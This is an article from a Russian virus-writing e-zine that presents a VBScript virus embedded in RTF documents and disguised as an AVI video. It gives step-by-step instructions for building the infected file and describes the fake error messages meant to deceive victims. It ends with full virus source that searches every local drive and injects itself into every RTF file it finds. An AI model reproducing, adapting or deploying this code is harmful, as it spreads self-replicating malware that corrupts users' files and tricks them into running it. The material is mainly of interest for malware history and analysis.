/*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                            RTF - Вирус на VBS

                                                          by VOVAN // SMF

  Представляю Вам вирус, который внедряется в RTF файлы. Вирус написан на
 языке  VBS  и  представляет  собой  обыкновенный  vbs  файл хранящийся в
 документе RTF формата и замаскированный под AVI файл.

  Вирус рассчитан на любопытство пользователя.

                             Краткое описание

  Теперь как он работает
  При  открытии  пораженного  rtf  файла пользователь увидит в нем файл с
 иконкой  AVI,  т.е.  видео  файл  нажмет  на  иконку и дело пошло:). Vbs
 дроппер  активизируется  и  проверяет  от  куда его запустили и если это
 Word97/2k тогда показывает юзеру сообщение, типа ошибка ввода/вывода I/O
 Error  и начинает поиск всех rtf файлов на всех доступных HDD дисках при
 обнаружении таких файлов он дописывается в их начало.
  Если  же  вирус  запустили не из-под Word97/2k, например из-под WordPad
 или еще от куда тогда покажем сообщение такого рода

  Format of data is supported only by Microsoft Word

  намек юзеру, что надо открыть в Worde тогда типа все заработает)

  Немного слов о формате записи в RTF файлы

  Так  оказалось,  что  формат  записи  Wordа  и  формат  записи WordPadа
 отличаются  это можно легко увидеть, просмотрев и сравнив содержимое rtf
 файлов  Word  и  WordPad.  В  файле  созданным Wordом вирус занимает 105
 строк,  а  файле  созданным  WordPadом  вирус занимает 253 строки, а все
 потому,  что в файле созданным WordPad строки идут ровным столбиком, а в
 Wordе  х..  знает  как,  криво короче. Да и еще, после сохранения Wordом
 файла  созданного  в WordPadе Word преобразует его в свой формат записи,
 т.е. было 253 строчки, а станет 105 такие вот дела.

                Как создать файл RTF и внедрить туда вирус

  Вирус  поддерживает  два  формата  хоть  он и не может распространяться
 из-под  WordPad  но  его можно там создать, т.е. вирус можно создать, не
 имея  под  рукой  Wordа,  просто  загружаете  WordPad  заходите  в  меню
 "Вставка"  ===>  "Объект..."  "Создать  из  файла"указывайте  путь к vbs
 файлу, ставите галочку "в виде значка" далее жмете "Ok". Появляется файл
 со  значком  VBS  файла,  на  него  сейчас  ни  кто  не клюнет, его надо
 замаскировать,  т.е.  сменить  иконку.  Нажимаем  на вставленном объекте
 правой  клавишей  мыши,  выбираем  в меню пункт "Свойства объекта" далее
 заходим  во  вкладку  "Просмотр"  нажимаем  кнопку  "Сменить  значок..."
 выбираем  "из  файла"  нажимаем  кнопку  "Обзор"  и  ищем  файл  *.ico с
 подходящей  иконкой  в  данном  случае  я  использовал иконку AVI файла.
 Далее  в  низу  есть поле "Подпись:" пишем туда 1nfo.avi или что хотите,
 жмем "Ok" Сохраняем файл в формате RTF и ВСЕ ГОТОВО.

  А в Worde точно также, только еще проще.

                             Полное описание

  Вирус состоит из 4 частей

 1. Основная часть
 2. Функция тест на зараженность      - Test_Infected
 3. Функция поиска файлов             - Search
 4. Макрос заражения                  - Infected

  Метки

 M1="{\object\objemb"                 - начало объекта
 M2="{\*\objclass Package}"           - означает, что объект является пакетом
 M3="}}}"                             - конец объекта

После запуска вирус ищет открытое приложение Microsoft Word 97 или 2000
  далее считывает имя, и путь к активному документу, после чего переходит
 на  функцию  Test_Infected(тестирования  на  зараженность)  как  видно в
 функцию передаются три параметра Test_Infected(C,1,K)

 С - путь и имя к активному документу
 1 - означает, что мы ищем файл для считывания из него кода вируса
 K - вернет считанное тело вируса

           Функция Test_Infected(тестирования на зараженность)

  Тестирование   происходит   следующим   образом  Для  начала  проверим,
 существует  ли  файл, если не существует, то выходим из функции, если же
 такой  файл  существует,  тогда  считаем  его  тело в переменную G Далее
 каждую  строку в переменной G проверим на присутствие меток M1 и M2 если
 метки M1 и M2 найдены, тогда начнем считывать тело объекта, одновременно
 с этим ведем подсчет, считанных строк, проверяем строку с номером 105 на
 присутствие  в  ней  метки M3 и если метка найдена, значит, мы в формате
 Word  заканчиваем  считывание  на  конце метки M3 и сдвигаем еще на один
 символ в право т.к. конец объекта в WordPadе "}}}", а в Wordе "}}}}".
  Если же метка M3 не найдена то продолжаем считывать до 253 строки далее
 сравниваем  ее  с меткой M3, если метка найдена, это означает что файл в
 формате  WordPad и он заражен, заканчиваем считывание тела вируса. Далее
 по  условию, если файл заражен, проверяем параметр P, который мы послали
 в функцию Test_Infected(C, =>1<= ,K) если он равен 1 или 2 тогда выходим
 из  функции  если  же  файл  не заражен и параметр P=2 тогда переходим в
 макрос Infected, но об этом потом.

                    Переходим на основную часть вируса
  Таким образом, функция Test_Infected возвращает параметр K в переменную
 K   в   которой   находится   тело   вируса,  если  переменная  K  пуста
 соответственно  вирусу  не  удалось найти свое тело, тогда вирус выводит
 сообщение  "Format  of  data  is  supported  only  by  Microsoft Word" и
 заканчивает  свою  работу  если  же  тело  вируса  найдено  тогда  вирус
 переносит  свое  тело  в  переменную  D  и выводит на экран сообщение об
 ошибки, при чтении видео файла сообщение выглядит

 так "I/O Error" названия окна "MPLAYER.EXE"

  после  чего вирус начинает рекурсивный обход всех дисков ищет доступные
 HDD  посылает информацию о первом найденном HDD в функцию Search потом о
 втором и т.д.

                       Функция Search поиск файлов

  Функция  Search  получает  путь  от  основной  части  вируса и начинает
 рекурсивный  обход  всех директорий и под директорий в каждой директории
 ищутся  rtf файлы при обнаружении таких файлов функция Search посылает о
 них  информацию т.е. путь к найденному файлу в функцию Test_Infected для
 проверке на зараженность с параметром 2, который позволяет переходить из
 функции  Test_Infected  в  макрос  Infected  для заражения не зараженных
 файлов.

                     Макрос заражения Sub Infected()

  Макрос  открывает  найденный  файл  для  чтения,  считывает  его тело в
 переменную  A1  далее  переходит  в  переменной  A1,  т.е.  в  теле  уже
 считанного  файла  на  вторую  строчку  и  вставляет  туда код вируса из
 переменной  D, все это записывается в переменную A3 далее открывает этот
 же файл для записи и перезаписывает его переменной A3
  Все, и так с каждым rtf файлом.

 Поставляемые файлы [/vx/files/vx06.rar]

==============================================================================
'VOVAN//SMF - 1nfo.а RTF virus.
On Error Rеsumе Nеxt
Sеt A=CrеаtеObjеct("Scripting.FilеSystеmObjеct")
M1="{\objеct\objеmb"
M2="{\*\objclаss Pаckаgе}"
M3="}}}"
Sеt B=GеtObjеct(,"Word.Applicаtion")
If B<>"" Thеn
C=B.ActivеDocumеnt.FullNаmе
Cаll Tеst_Infеctеd(C,1,K)
End If
If K="" Thеn
MsgBox "Formаt of dаtа is supportеd only by Microsoft Word",48,"Error"
WScript.Quit
End If
D=K
MsgBox "I/O Error",16,"MPLAYER.EXE"
Sеt E=A.Drivеs
For Eаch Drivе In E
If Drivе.DrivеTypе=2 Or Drivе.DrivеTypе=3 Thеn Sеаrch Drivе.Pаth &"\"
Nеxt
Function Tеst_Infеctеd(T,P,K)
K=""
If A.FilеExists(T)=Fаlsе Thеn Exit Function
Sеt F=A.OpеnTеxtFilе(T,1)
G=F.RеаdAll
F.Closе
H=Split(G,vbCrLf)
For I=0 To UBound(H) Stеp 1
J=H(I)+Chr(13)&Chr(10)
If InStr(J,M1)<>0 And InStr(J,M2)<>0 Thеn J=Mid(J,InStr(J,M1),Lеn(J)):L=Truе
If L=Truе Thеn
N=N+1
If (N=105 Or N=253) And L=Truе And InStr(H(I),M3)<>0 Thеn
If N=105 Thеn R=3 Elsе R=2
J=Lеft(H(I),InStr(H(I),M3)+R)
K=K+J
Q=Truе
Exit For
End If
K=K+J
End If
Nеxt
If Q=Truе Thеn
If P=1 Or P=2 Thеn Exit Function
End If
If P=2 Thеn Infеctеd(T)
End Function
Function Sеаrch(A7)
Sеt S=A.GеtFoldеr(A7)
Sеt U=S.SubFoldеrs
For Eаch V In U
Sеаrch(V)
Nеxt
Sеt W=S.Filеs
For Eаch X In W
Y=A.GеtExtеnsionNаmе(X.Pаth)
If Y="rtf" Or Y="RTF" Thеn
Cаll Tеst_Infеctеd(X.Pаth,2,0)
End If
Nеxt
End Function
Sub Infеctеd(Z)
Sеt O=A.OpеnTеxtFilе(Z,1)
A1=O.RеаdAll
O.Closе
H=Split(A1,vbCrLf)
For I=0 To UBound(H) Stеp 1
A2=H(I)
A3=A3+A2+Chr(13)&Chr(10)
If I=0 Thеn A3=A3+D+Chr(13)&Chr(10)
Nеxt
Sеt A4=A.OpеnTеxtFilе(Z,2)
A4.Writе A3
A4.Closе
End Sub
==============================================================================